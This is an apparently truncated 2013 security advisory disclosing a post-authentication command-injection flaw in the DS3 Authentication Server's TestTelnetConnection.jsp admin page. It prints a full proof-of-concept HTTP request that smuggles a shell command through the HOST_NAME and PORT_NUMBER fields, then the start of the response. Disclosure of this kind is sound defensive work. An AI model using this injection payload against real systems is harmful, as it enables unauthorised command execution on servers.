Original: http://www.digitalsec.net/stuff/explt+advs/DS3.AuthServer.txt =============================== - Advisory - =============================== Tittle: DS3 Authentication Server - Command Execution (Post Authentication) & other minor issues Risk: High Date: 27.May.2013 Author: Pedro Andujar .: [ INTRO ] :. The DS3 Authentication Server appliance is a high performance appliance that provides multifactor authentication with end-to-end encryption of keys protected by a FIPS-certified Hardware Security Module (HSM). .: [ TECHNICAL DESCRIPTION ] :. DS3 Authentication Server (unknown version) is prone to several security issues as described below; .: [ ISSUE #1 }:. Name: Command execution Severity: High Authentication server provides different admin tools to perform connectivity checks. TestTelnetConnection.jsp doesn't validate the user input, allowing an attacker to execute arbitrary commands in the server side with the privileges of asadmin user. POST /ServerAdmin/TestTelnetConnection.jsp HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://x.x.x.x/ServerAdmin/TestTelnetConnection.jsp Cookie: 70746573745f61646d696e00=English.properties; 70746573745f63696300=English.properties; JSESSIONID=8F457BB84D7B80F49D197D92360F1F95 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 90142 HOST_NAME=-;uname&PORT_NUMBER=-a HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Date: Fri, 05 Apr 2013 22:54:18 GMT Server: DS3-AuthServer Content-Length: 12648 Test Telnet Connection